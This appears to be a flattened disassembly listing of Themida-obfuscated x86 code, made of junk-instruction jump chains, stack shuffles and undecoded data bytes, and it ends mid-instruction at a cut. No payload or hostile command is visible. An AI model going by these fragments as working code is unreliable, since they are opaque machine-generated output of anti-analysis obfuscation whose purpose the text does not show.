jmp loc_561268 ; --------------------------------------------------------------------------- db 0B8h, 6Ah, 17h dd 0FBE95DF3h db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566A8F: ; CODE XREF: Themida_:0055F8AAj pop edi xchg ebp, [esp] pop esp push ebp push esp pop ebp push edx mov edx, 4D975EB1h shr edx, 1 jmp loc_566D10 ; --------------------------------------------------------------------------- aQhp0 db 'QhP0',0 align 2 dw 1E9h dd 0FFFFFF94h, 0FF042474h, 0E95A2434h, 0FFFF6532h, 0FAE9DD29h dd 0F6FFFED1h, 0E95351DAh, 0FFFF407Bh, 2BBh, 5BD88900h dd 0E958C789h, 0FFFF4862h, 0FF2434FFh, 81582434h, 4C4h dd 4EC8100h, 89000000h, 8168240Ch, 89000040h, 0BF572424h dd 4, 4247C01h, 0FCE9595Fh db 0EEh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_566B0B: ; CODE XREF: Themida_:00562A16j pop ebp add esp, 4 jmp loc_55E18F ; --------------------------------------------------------------------------- loc_566B14: ; CODE XREF: Themida_:00559303j sub cl, 0F6h push dx push ebx mov bh, 3 mov dh, 0D7h add dh, bh pop ebx xor cl, dh pop dx jmp loc_563462 ; --------------------------------------------------------------------------- loc_566B2A: ; CODE XREF: Themida_:00557CFEj xor edi, 58323B32h jmp loc_55BDE2 ; --------------------------------------------------------------------------- db 0ADh, 51h, 0B9h dd 27706C88h, 0C8BC801h, 64A16824h, 14890000h, 0E9E28924h dd 59Bh, 8246C81h, 7FE04014h, 81240C8Bh, 4C4h, 246C8100h dd 80150804h, 246C817Eh, 43734504h, 598E97Fh, 295E0000h dd 90E95DEBh db 0CDh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_566B7F: ; CODE XREF: Themida_:0055ABD6j mov [esp], esp add dword ptr [esp], 4 jmp loc_55596A ; --------------------------------------------------------------------------- loc_566B8E: ; CODE XREF: Themida_:00563CC1j add ecx, 4 jmp loc_554933 ; --------------------------------------------------------------------------- db 50h, 0B8h, 0BFh dd 40740B07h, 0F051512Dh, 0B66B3544h, 0C2012F1Ah, 4C28358h dd 8B241487h, 22E92424h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566BBB: ; CODE XREF: Themida_:005606D8j add eax, edi sub eax, 0DB74D59h pop edi push 782Eh mov [esp], edi push 55D5h mov [esp], ebx push 4 mov ebx, [esp] push 5D69h mov [esp], ebx mov ebx, esp add ebx, 4 push esi mov esi, 6DB86997h and esi, 8F73AE2h inc esi dec esi or esi, 3B392781h sub esi, 3BB92F7Fh add ebx, esi pop esi xchg ebx, [esp] mov esp, [esp] jmp loc_5673AA ; --------------------------------------------------------------------------- db 50h dd 405E089h, 0E9000000h, 0FFFEE4E3h ; --------------------------------------------------------------------------- loc_566C20: ; CODE XREF: Themida_:0056221Bj mov ah, 1Ah jmp loc_567B65 ; --------------------------------------------------------------------------- db 33h dd 0C31240Ch, 0BD9BE924h, 0C481FFFEh, 4, 0E95BDF31h, 0FFFF974Ch ; --------------------------------------------------------------------------- loc_566C40: ; CODE XREF: Themida_:00557955j add al, 3Bh sub bl, al pop eax jmp loc_565ABB ; --------------------------------------------------------------------------- loc_566C4A: ; CODE XREF: Themida_:00562AAFj push 0DC5h mov [esp], ebx push esp jmp loc_556A22 ; --------------------------------------------------------------------------- dd 0D1D1F758h, 6AE981E1h, 1123A5Ch, 2434FFCAh, 0FF9C09E9h db 0FFh ; --------------------------------------------------------------------------- loc_566C6D: ; CODE XREF: Themida_:00566962j add esp, 4 push 6CC8h jmp loc_55FC14 ; --------------------------------------------------------------------------- db 0F7h, 0DEh, 0C1h dd 0F68108EEh, 1E01C736h, 565EF121h, 0B120BCBEh, 81464644h dd 6A73E0EEh, 47FE874Ch, 0FF437CE9h, 59C829FFh, 3B6E68h dd 24148900h, 5B03C5BAh, 0E2C14228h, 0E9DAF707h, 0FFFF7A3Ch dd 65F7BE56h, 14E937D8h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566CC7: ; CODE XREF: Themida_:0055FB74j xchg ebx, esi jmp loc_564F7B ; --------------------------------------------------------------------------- dw 685Ah dd 0Bh, 0FF241C89h, 8B042474h, 0F3E9241Ch, 5EFFFED7h, 81E28952h dd 4C2h, 4C28300h, 5C241487h, 8F04C483h, 59E92404h, 81FFFF93h dd 0AF370CF7h, 3C09E973h, 0E954FFFFh, 0FFFF8297h ; --------------------------------------------------------------------------- loc_566D10: ; CODE XREF: Themida_:00566A9Fj not edx inc edx shr edx, 7 shr edx, 8 push esi jmp loc_55FBBC ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0E3E95100h, 59FFFF0Eh, 263BEE81h, 0C6016487h dd 263BC681h, 0B9516487h, 5F0035F7h, 1B1CBA52h, 0CA8172CFh dd 1698776Eh, 58E1C281h, 0EC8152F8h, 4, 0BE243489h, 30E56BFCh dd 8146D6F7h, 5E3086C6h, 38F6814Eh, 0E96243F5h, 0FFFEF7A1h dd 1D4FAFBBh, 4BD3F730h, 0B0EC381h, 0C3813951h, 44D84DDDh dd 0FF64E0E9h, 0C6815EFFh, 4, 4EE81h, 34870000h, 0C4FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566DA2: ; CODE XREF: Themida_:0055DA56j add ebp, ecx pop ecx add ebp, 37AC78C4h push esi mov esi, 13E112FCh jmp loc_55E039 ; --------------------------------------------------------------------------- dw 80BBh dd 295CE811h, 0E9815BD9h, 526B7743h, 2BF575Ah, 1000000h dd 0C0DE9F9h, 5358FFFFh, 0DE88EB88h, 2434FF5Bh, 0FF17B9E9h dd 2474FFFFh, 48F5F04h, 24248B24h, 9C240CD2h, 0FEBA09E9h db 0FFh ; --------------------------------------------------------------------------- loc_566DF5: ; CODE XREF: Themida_:0055DBFBj shl esi, 7 jmp loc_55B9D2 ; --------------------------------------------------------------------------- db 43h, 0C1h, 0EBh dd 0FB62E903h, 0E958FFFEh, 0FFFFAA18h, 8304C483h, 0E7E904C4h db 0B9h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_566E17: ; CODE XREF: Themida_:00562885j mov [esp], eax mov eax, 80A3449h jmp loc_55B89D ; --------------------------------------------------------------------------- loc_566E24: ; CODE XREF: Themida_:0055E358j mov [esp], eax push 2BC8h mov [esp], ecx pop eax push dword ptr [esp] pop ecx push eax jmp loc_5604C7 ; --------------------------------------------------------------------------- dw 48Fh dd 24248B24h, 582434FFh, 0FFCD1EE9h, 0DEB81FFh, 811CF707h dd 2125E1EBh, 243C8B13h, 0FED548E9h, 81E689FFh, 4C6h, 4C68300h dd 5C243487h, 6DA868h, 24148900h, 57D768h, 24248900h, 0FFD039E9h db 0FFh ; --------------------------------------------------------------------------- loc_566E81: ; CODE XREF: Themida_:005623A4j sub ebp, 509811D4h jmp loc_563E73 ; --------------------------------------------------------------------------- dd 0E932FF66h, 145h ; --------------------------------------------------------------------------- loc_566E94: ; CODE XREF: Themida_:005593AAj push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 push 4C6Ch jmp loc_55BE74 ; --------------------------------------------------------------------------- dd 99D1C681h, 0F0897690h, 58C7295Eh, 61B8EF81h, 0EB815AD5h dd 6F6658B1h, 0C381FB29h, 6F6658B1h, 1EBB685Fh, 1C890000h dd 9055E924h, 1433FFFFh, 5D9CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566EE6: ; CODE XREF: Themida_:0055FBC1j xor edx, esi pop esi jmp loc_559673 ; --------------------------------------------------------------------------- loc_566EEE: ; CODE XREF: Themida_:0055CD43j xchg eax, [esp] pop esp add esp, 4 add esp, 4 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], ebx push ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp add ebp, 4 jmp loc_55C03A ; --------------------------------------------------------------------------- dd 0CB00D5B1h, 0FEC765E9h, 0C8B66FFh, 8A7E924h, 0D901FFFFh dd 59CD895Bh, 4246C31h, 24048B5Dh, 5304C483h, 0FEC859E9h dd 0E9575CFFh, 0FFFF755Ah, 0EA80DA28h, 1AB15138h, 73F180h dd 1C8B59CAh, 4C48324h, 56C380h, 56EB80D3h, 64B0E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566F82: ; CODE XREF: Themida_:0055BC16j add edi, 35F42760h push dword ptr [esp] pop ebp push eax mov eax, esp jmp loc_564D7D ; --------------------------------------------------------------------------- loc_566F94: ; CODE XREF: Themida_:0055E8D4j xor cl, bh jmp loc_564571 ; --------------------------------------------------------------------------- db 51h dd 0FEE6B9E9h, 0B858E9FFh, 0E959FFFEh, 0FFFFCD6Ah, 240C8B66h dd 4EC81h, 34890000h, 420D6824h, 24890000h, 24048324h dd 24348B04h, 0FEED0CE9h, 24248BFFh, 9C2424D2h, 0FEB825E9h dd 0B820E9FFh, 34FFFFFEh, 0C4835824h, 78E78104h, 8130614Ah dd 0C52A00C7h, 5B5453F9h, 4C381h, 0EB830000h, 241C8704h dd 240C895Ch, 0C181E189h, 4, 4E981h, 0C4E90000h, 83FFFF8Fh dd 56E904C4h, 0ACFFFF86h, 0E0E96C04h, 66FFFF4Ah, 9C243CD3h dd 0FEB7CDE9h, 74FF56FFh, 0E95E0424h, 0FFFFEA9Bh, 0C64BC181h dd 0E9C110F9h, 62E95503h, 5CFFFEF9h, 39FC181h, 0F6E97346h db 0, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567057: ; CODE XREF: Themida_:00552C62j pop ebp push 98h mov [esp], esi push 8A965A8h pop esi add [esp+4], esi push dword ptr [esp] pop esi push 6439h jmp loc_55951E ; --------------------------------------------------------------------------- dd 4C68159h, 0E9000000h, 0FFFF1013h, 0F24248Bh, 0E955C8B6h dd 0FFFFF8D7h, 9F533668h, 14E95F46h, 50FFFF68h, 0AB4E5DB8h dd 0DF15E955h, 0F268FFFFh, 0E9242E42h, 0FFFFCA8Bh, 5C80A5B8h dd 0E9C22908h, 0FFFFB752h, 0E906EEC1h, 0FFFF1AEAh, 895EF531h dd 53525DEFh, 69E86850h, 2D5807F5h, 99C63C9Ch, 0F758C389h dd 0DBF74BD3h, 62B4F381h, 62E94B5Fh, 81FFFF63h, 4C2h, 4C28300h dd 5C241487h, 0EC83D801h, 1290E904h, 1487FFFFh, 24895C24h dd 0AA27E924h, 6C29FFFFh, 44810424h, 73450424h, 44817F43h dd 15080424h, 6C817E80h, 23740424h, 2C8B014Bh, 4C48324h dd 0FF6D94E9h, 1C77FFFFh, 1858669Dh, 0E99C2404h, 0FFFF500Ah dd 2434FF50h, 0CFD6858h, 4E90000h db 7Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567153: ; CODE XREF: Themida_:0055DA2Bj push ecx push eax mov ah, dh jmp loc_55BCB7 ; --------------------------------------------------------------------------- loc_56715C: ; CODE XREF: Themida_:00557282j jmp loc_5527FE ; --------------------------------------------------------------------------- loc_567161: ; CODE XREF: Themida_:005544D1j pop ebp mov edx, [esp] add esp, 4 push esi mov esi, 6D764646h push esi jmp loc_564A9C ; --------------------------------------------------------------------------- loc_567177: ; CODE XREF: Themida_:00563471j xchg dh, ch inc dh xchg dh, ch sub ch, 6Ch sub bl, ch mov ecx, [esp] add esp, 4 add bl, al add bl, 0E4h pop ax movzx eax, al pop small word ptr [edi+eax*4] jmp loc_5527FE ; --------------------------------------------------------------------------- loc_56719B: ; CODE XREF: Themida_:0055E3E8j push esi push 273369FFh pop esi neg esi dec esi push eax mov eax, 374846B2h neg eax neg eax jmp loc_55D621 ; --------------------------------------------------------------------------- dd 81E38953h, 4C3h, 0A2E95500h, 5BFFFF00h, 7461C681h, 0FE017421h dd 7461EE81h, 0E9577421h, 0FFFF02A2h, 4244481h, 7BA1193Ah dd 8B2434FFh, 21E9242Ch db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5671EB: ; CODE XREF: Themida_:0055ECA3j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push ebp mov ebp, 4 sub ebx, 5CD82C7Fh sub ebx, 58A36EDEh sub ebx, ebp add ebx, 58A36EDEh push ebp push 2ABBh mov [esp], ecx mov ecx, 74794C73h shr ecx, 3 or ecx, 1A95420h not ecx add ecx, 46831520h xor ecx, 52FACFF4h mov ebp, ecx pop ecx dec ebp shr ebp, 8 jmp loc_555E07 ; --------------------------------------------------------------------------- loc_567247: ; CODE XREF: Themida_:005601C2j push ecx jmp loc_552A23 ; --------------------------------------------------------------------------- db 68h, 0EAh, 77h dd 97E90000h db 0C0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567257: ; CODE XREF: Themida_:005540F7j push edi mov edi, 5CCC60FCh jmp loc_55E671 ; --------------------------------------------------------------------------- loc_567262: ; CODE XREF: Themida_:00562D6Aj mov bh, 68h sub bh, ah pop eax push eax mov al, 1Ah and bh, al pop eax push edx mov dl, 0E2h add dl, 0AAh and bh, dl pop edx jmp loc_554E13 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 3E9CE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567286: ; CODE XREF: Themida_:00565A27j push ecx mov ecx, 4 jmp loc_55DAE6 ; --------------------------------------------------------------------------- loc_567291: ; CODE XREF: Themida_:0055ADC7j pop esp add eax, 21AC7689h push dword ptr [esp] mov esi, [esp] add esp, 4 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_561C8D ; --------------------------------------------------------------------------- db 81h, 0EAh, 12h dd 29B58CF0h, 24148BD0h, 0C412E950h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5672C2: ; CODE XREF: Themida_:00562853j xchg ebx, [esp] pop esp jmp loc_55D1D8 ; --------------------------------------------------------------------------- loc_5672CB: ; CODE XREF: Themida_:0055E7C8j add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ebx jmp loc_55F273 ; --------------------------------------------------------------------------- db 0BDh dd 7DEC763Dh, 0C15DEE31h, 0FFE907EEh, 88FFFED9h, 5AD588DAh dd 83241C8Bh, 34FF04C4h, 0E9565824h, 0FFFF4CA6h, 89EB8953h dd 295D5BD8h, 2434FFC7h, 61E9h, 5BD82100h, 0B951h, 0C1290000h dd 0D59C889h, 459C02ADh, 214C4505h, 0E9C58900h, 0FFFEE888h dd 0BE243489h, 56D02CABh, 0FEC0B1E9h, 0C78058FFh, 80F70015h dd 85A15EFh, 241C8BFEh, 0FF2BB5E9h, 243489FFh, 0FFE9FDE9h db 0FFh ; --------------------------------------------------------------------------- loc_56735D: ; CODE XREF: Themida_:0055C4D4j mov esi, 2F8C40CAh or edi, esi pop esi xor edi, 6AF127BFh push ebx mov ebx, 482A7ADFh jmp loc_560885 ; --------------------------------------------------------------------------- dw 5158h dd 0C181E189h, 4, 46850h, 1580000h, 24048BC1h, 4C481h dd 0C870000h, 94685C24h, 89000033h, 0EE9243Ch db 6Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5673A3: ; CODE XREF: Themida_:005632FBj push edx push edi jmp loc_5581DD ; --------------------------------------------------------------------------- loc_5673AA: ; CODE XREF: Themida_:00566C0Ej mov edi, ebx mov ebx, [esp] push edx mov edx, esp jmp loc_555115 ; --------------------------------------------------------------------------- db 81h dd 2C3h, 309E900h, 895C0000h, 71E9240Ch, 8BFFFF5Eh, 0C481243Ch dd 4, 0E9240C8Bh, 0FFFF0B27h ; --------------------------------------------------------------------------- loc_5673DC: ; CODE XREF: Themida_:0055ACF7j mov ebp, edx pop edx add edx, ebp jmp loc_55726F ; --------------------------------------------------------------------------- dw 0CA29h dd 0FFDE09E9h, 5325B9FFh, 0F8E90BD6h db 0DCh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5673F7: ; CODE XREF: Themida_:0055EDA4j and eax, ebx pop ebx jmp loc_560D99 ; --------------------------------------------------------------------------- db 0C1h dd 0EB8106EBh, 0C2EC1647h, 815BD929h, 8A4223C1h, 8BCB0177h dd 0C481240Ch, 4, 2474FF53h, 241C8B04h, 0FFACE8E9h db 0FFh ; --------------------------------------------------------------------------- loc_567429: ; CODE XREF: Themida_:005550EAj add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ecx mov ecx, 1 mov edi, ecx pop ecx and eax, edi push dword ptr [esp] pop edi sub esp, 4 mov [esp], edx push esp pop edx add edx, 4 push eax mov eax, 4 push esi jmp loc_558C6B ; --------------------------------------------------------------------------- db 89h, 0E0h, 5 dd 4, 0FF88CAE9h, 242C89FFh, 0A5021EBDh, 5DEB8920h, 9851122Dh dd 63A70535h, 0D8295E8Bh, 0FF1ACEE9h, 4EC83FFh, 89243489h dd 0BA98E9E6h, 0E958FFFFh, 0FFFFBA7Eh, 0F75FFE89h, 25F681D6h dd 57322A26h, 752940BFh, 0C1DFF705h, 0E7C104E7h, 50CF8107h dd 810F300Bh, 774FD7C7h, 0A8EF8163h, 294BCF25h, 20E95FFEh dd 81000000h, 204717E3h, 91E9436Bh db 5Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5674DB: ; CODE XREF: Themida_:005612A7j mov [esp], ecx sub esp, 4 mov [esp], edx mov dh, 0C8h mov ch, 0B0h add ch, dh jmp loc_556E8F ; --------------------------------------------------------------------------- db 81h dd 0AD4B99E9h, 3AC2E90Ah, 3C33FFFFh, 0DB41E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567502: ; CODE XREF: Themida_:00560887j mov ebx, [esp] add esp, 4 add edi, 0BFF7BDAFh add ecx, 1FEF7569h add ecx, edi sub ecx, 1FEF7569h pop edi add ecx, 4 xchg ecx, [esp] mov esp, [esp] shr ecx, 2 sub esp, 4 mov [esp], ebx push eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax jmp loc_5621B9 ; --------------------------------------------------------------------------- dd 0E188F488h, 0E9FE8858h, 0FFFF5314h, 6866h, 8A243428h dd 0F6E92434h db 49h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567567: ; CODE XREF: Themida_:0055CB38j sub ecx, 45D66A72h add edx, ecx pop ecx push eax mov eax, 609B241Eh xor eax, 31387B58h or eax, 414F02FFh jmp loc_5535E5 ; --------------------------------------------------------------------------- loc_567585: ; CODE XREF: Themida_:00557D77j sub esp, 4 jmp loc_56322F ; --------------------------------------------------------------------------- loc_567590: ; CODE XREF: Themida_:0055A9C8j mov [esp], edi jmp loc_55314A ; --------------------------------------------------------------------------- dd 0E9241C89h, 0FFFFEE0Ah, 159CB89h, 0EC835BDAh, 24048904h dd 0FF1A30E9h, 0ABAFFh, 0EC830000h, 241C8904h, 5063E952h dd 0E6D1FFFFh, 0AFAB850h, 79E92C82h, 53FFFF24h, 0F88818B7h dd 437FE95Bh, 0E281FFFFh, 11AE31CDh, 6144EA81h, 0DAF731EAh dd 7DF4B951h, 0E1811D64h, 70CF2C8Eh, 0FB9E181h, 0D9F729D8h dd 0E981D9F7h, 301533Ch, 0FF32F5E9h, 28E580FFh, 2842C580h dd 0C026E9E8h, 159FFFFh, 0C7835EF7h, 62B16802h, 3C890000h dd 2474FF24h, 2434FF04h, 4C4815Fh, 0E9000000h, 0FFFFE658h dd 0F134E955h, 0EA81FFFEh, 8E40AB20h, 295AD501h, 0BBED81C5h dd 58731235h, 2474FF55h, 48F5D04h, 24248B24h, 0E9241489h dd 0FFFEB19Ah, 8065C180h, 0CB302DC1h, 83240C8Bh, 0C38004C4h dd 8BD830C1h, 0C483241Ch, 0B3535104h, 0E25BE9FCh, 0C481FFFEh dd 4, 0FE29EF81h, 0FE01ADF3h, 0E92434FFh, 0FFFFD490h ; --------------------------------------------------------------------------- loc_56769C: ; CODE XREF: Themida_:00564CA6j push dword ptr [esp] pop ecx add esp, 4 add eax, 461966ABh jmp loc_56484F ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 0FF7CACE9h db 0FFh ; --------------------------------------------------------------------------- loc_5676B5: ; CODE XREF: Themida_:0055943Fj add esi, 4 jmp loc_558961 ; --------------------------------------------------------------------------- loc_5676C0: ; CODE XREF: Themida_:00563314j xchg edx, [esp] pop esp add ebp, eax jmp loc_55A9BF ; --------------------------------------------------------------------------- db 87h dd 248B241Ch, 24040024h, 0DED9E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5676DA: ; CODE XREF: Themida_:0056665Aj add esp, 4 jmp loc_561C2F ; --------------------------------------------------------------------------- db 0B2h, 0C7h, 0C0h dd 0E2C008E2h, 0D1E28008h, 0D0D0CA80h, 6CE950E2h, 87FFFF8Fh dd 0FF5C2434h, 8AE92434h db 73h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567707: ; CODE XREF: Themida_:0055BCC3j pop edi neg edi jmp loc_55C5EA ; --------------------------------------------------------------------------- db 1 dd 0E9082474h, 0FFFFD14Bh ; --------------------------------------------------------------------------- loc_567718: ; CODE XREF: Themida_:0055F4D2j sub ecx, 3382117h jmp loc_55E2F6 ; --------------------------------------------------------------------------- db 81h dd 4C5h, 242C8700h, 4C6815Ch db 0 byte_567731 db 2 dup(0), 0E9h ; DATA XREF: Themida_:005576A1o dd 0FFFEC1A3h, 851FE95Ah, 0C483FFFFh, 81DD2904h, 7163DCEDh dd 241C8B61h, 0FFE9B9E9h db 0FFh ; --------------------------------------------------------------------------- loc_567751: ; CODE XREF: Themida_:00562060j push 34Bh mov [esp], eax push dword ptr [esp+4] jmp loc_557B85 ; --------------------------------------------------------------------------- dw 0EC81h dd 4 db 89h, 2 dup(24h) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp mov ebp, 7705306Ah dec ebp add ebp, 1 or ebp, 3B03685Ch xor ebp, 7F07787Ah push esi mov esi, 24763C1Ch sub [esp+8], esi pop esi add [esp+4], ebp add dword ptr [esp+4], 24763C1Ch jmp loc_5581B4 ; --------------------------------------------------------------------------- loc_5677B5: ; CODE XREF: Themida_:0055CC38j push 6A09h mov [esp], ebx mov ebx, 24h push edx mov edx, 558B5824h shl edx, 3 inc edx inc edx dec edx xor edx, 0D813E2D2h push esi mov esi, 24B535BCh jmp loc_553A48 ; --------------------------------------------------------------------------- db 42h dd 0FEC77BE9h, 4C481FFh, 5A000000h, 0FF49CDE9h db 0FFh ; --------------------------------------------------------------------------- loc_5677F1: ; CODE XREF: Themida_:00556066j sub eax, 4 xchg eax, [esp] pop esp jmp loc_55C911 ; --------------------------------------------------------------------------- db 33h, 34h, 24h dd 33243431h, 0E95C2434h, 0FFFF0B79h, 0C7815B5Ch, 2B6D1F48h dd 0E956EF01h, 0FFFFB829h, 80B4EA80h, 515BFCEAh, 0EA0042B5h dd 0FED832E9h, 74FF66FFh, 8B660224h, 0A7E92434h, 0BBFFFF16h dd 1FF90904h, 4EC81h, 14890000h, 4A5ABA24h, 0D309324Ah dd 0FFAFE7E9h, 81E689FFh, 4C6h, 4C68100h, 56000000h, 42474FFh dd 0FEE617E9h db 0FFh ; --------------------------------------------------------------------------- loc_56786D: ; CODE XREF: Themida_:0055C858j pop dword ptr [esp] push edi mov edi, 4 push ecx mov ecx, 654E0F49h jmp loc_55FCCD ; --------------------------------------------------------------------------- db 33h, 14h, 24h dd 0A514E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56788A: ; CODE XREF: Themida_:00556EDEj add esp, 4 pop edx push eax mov eax, 79943F4Dh shl eax, 7 sub eax, 139C53FAh jmp loc_55F39B ; --------------------------------------------------------------------------- dd 79A3E953h, 0C781FFFFh, 45947390h, 0FF4493E9h, 72BDBAFFh dd 0C2812216h, 0DDE98D45h, 0D4E9D389h, 51FFFFA3h, 4B1E81B9h dd 0FCE98152h, 8112E97Ah, 9E5C7FC1h, 74EB81C0h, 0E9153431h dd 0FFFF8B4Fh, 48BC601h, 4C48324h, 6259B951h, 0B85028B2h dd 1, 0F758C129h, 583BE9D9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567902: ; CODE XREF: Themida_:0056235Cj sub esp, 4 mov [esp], ebp sub dword ptr [esp], 3D9B39A4h mov edx, [esp] add esp, 4 push ebp jmp loc_55917D ; --------------------------------------------------------------------------- db 89h dd 0B9512434h, 6A8D3B9Eh, 79E95E51h db 0DBh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56792B: ; CODE XREF: Themida_:00555A02j mov ebp, edx pop edx add ebp, 0A6B2D27Bh add esi, ebp mov ebp, [esp] jmp loc_55C388 ; --------------------------------------------------------------------------- dw 0E981h dd 1F866B62h, 59F4C981h, 0C1815EECh, 100A406h, 0E959CB01h dd 0FFFFD2C5h, 585D5055h, 8FD8ED81h, 0EA01E7D5h, 6851565Dh dd 43F9042Fh, 83240C8Bh, 0F18104C4h, 43F9042Bh, 7E9CE89h dd 53FFFF26h, 0FF8906E9h db 0FFh ; --------------------------------------------------------------------------- loc_567985: ; CODE XREF: Themida_:00563185j add ebp, 4 push edi mov edi, 1D0C65BCh jmp loc_55F8A2 ; --------------------------------------------------------------------------- dw 0ED81h dd 5EEE10F9h, 0C1ADC581h, 0B5E9D7CDh, 0F7FFFF6Ch, 5BC281D2h dd 897487A1h, 0E5815AD5h, 3EED742Ah, 0C581DDF7h, 0EFA8C871h dd 0FEDD9FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5679C5: ; CODE XREF: Themida_:00561B2Aj or edi, 2DD26A33h add edi, 90009049h add ebx, edi jmp loc_55C9A0 ; --------------------------------------------------------------------------- loc_5679D8: ; CODE XREF: Themida_:00559FEBj push edi jmp loc_567B78 ; --------------------------------------------------------------------------- loc_5679DE: ; CODE XREF: Themida_:00563EB5j mov eax, 0A7F3A549h xor esi, eax pop eax add edx, esi mov esi, [esp] jmp loc_55471F ; --------------------------------------------------------------------------- dd 0E95DEE31h, 0FFFFB056h, 5F2434FFh, 4C481h, 0E6810000h dd 1E2216E8h, 0CE81D6F7h, 75476CD0h, 18A5BB53h, 0DE213C5Bh dd 5BF6815Bh, 89345B08h, 0A7E95EF3h, 68FFFF54h, 0F58h dd 0BF243C89h, 67B9F45Fh, 6E1868h, 243C8900h, 22B0BA52h dd 44816A08h, 47970424h, 54011B60h, 0A2E90424h db 3 dup(0) ; --------------------------------------------------------------------------- loc_567A53: ; CODE XREF: Themida_:00560B1Cj push eax jmp loc_55E1D2 ; --------------------------------------------------------------------------- loc_567A59: ; CODE XREF: Themida_:0055676Dj and edx, 72133166h xor edx, 6F8259C9h jmp loc_556E53 ; --------------------------------------------------------------------------- dw 0E089h dd 405h, 40500h, 4870000h, 0EB815C24h, 145E0406h, 8E3C15Eh dd 9104F381h, 0E9062Eh, 29FFFFA7h, 0A249E9F1h, 0ED81FFFFh dd 11E67B59h, 3076CD81h, 0ED8152EDh, 0F2EDF4F3h, 7E9EB01h dd 59FFFF86h, 0FF5088E9h, 245C01FFh, 0E9595B04h, 0FFFEF4C2h dd 0B6241489h, 0D6E9514Fh db 22h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567ACB: ; CODE XREF: Themida_:0055B091j mov eax, [esp] add esp, 4 add eax, ebp jmp loc_563B10 ; --------------------------------------------------------------------------- dd 3705C181h, 0EEE912FCh, 0BBFFFF06h, 2DEB3F71h, 5296EF81h dd 0DF290B3Eh, 0FF82B4E9h, 246C81FFh, 60479704h, 575A5A1Bh dd 822B0BFh, 96C2816Ah, 292FCF23h, 0BB5351FAh, 660C3CAFh dd 6458E381h, 0CCE95B9Dh, 0FFFFFEDEh, 66E92434h, 33FFFF14h dd 248B2414h, 24048924h, 70BE5651h, 0B964D113h, 326A711Ah dd 0FF8556E9h, 704C68FFh, 58E90000h db 0DBh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_567B4B: ; CODE XREF: Themida_:0055B9D8j and esi, eax pop eax push edx mov edx, 0F4C07BFh or edx, 26A604EAh or edx, 4AE2761Fh jmp loc_564194 ; --------------------------------------------------------------------------- loc_567B65: ; CODE XREF: Themida_:00566C22j neg ah shl ah, 6 inc ah xor ah, 8Ch mov cl, ah pop eax push edx jmp loc_56334C ; --------------------------------------------------------------------------- loc_567B78: ; CODE XREF: Themida_:005679D9j push ecx mov ecx, 3A8544F3h mov edi, 0EE5E46Ah add edi, ecx mov ecx, [esp] add esp, 4 or edi, 72F4361Fh add edi, 0BE8004C1h mov eax, edi pop edi sub edx, eax push dword ptr [esp] pop eax jmp loc_55816E ; --------------------------------------------------------------------------- loc_567BA8: ; CODE XREF: Themida_:00561481j neg esi push edi mov edi, 380F386Eh shl edi, 1 jmp loc_564CDA ; --------------------------------------------------------------------------- db 58h dd 0FFD098E9h db 0FFh ; --------------------------------------------------------------------------- loc_567BBD: ; CODE XREF: Themida_:0055F9D3j add ecx, edx pop edx jmp loc_557F43 ; --------------------------------------------------------------------------- db 51h, 56h, 0BEh dd 4F574883h, 574883B9h, 0E9F1314Fh, 0FFFEC445h ; --------------------------------------------------------------------------- loc_567BD8: ; CODE XREF: Themida_:00555DD9j sub dword ptr [esp+4], 0D694C98h push dword ptr [esp] jmp loc_55C891 ; --------------------------------------------------------------------------- loc_567BE8: ; CODE XREF: Themida_:005585EBj push 7770h mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_5580F7 ; --------------------------------------------------------------------------- dw 0C701h dd 6BC18158h, 290DC10Fh, 6BE981F9h, 5F0DC10Fh, 0FFAA11E9h db 0FFh ; --------------------------------------------------------------------------- loc_567C1D: ; CODE XREF: Themida_:00564670j pop ebx add al, ch pop ecx jmp loc_561350 ; --------------------------------------------------------------------------- loc_567C26: ; CODE XREF: Themida_:005553A5j sub bh, dl pop edx jmp 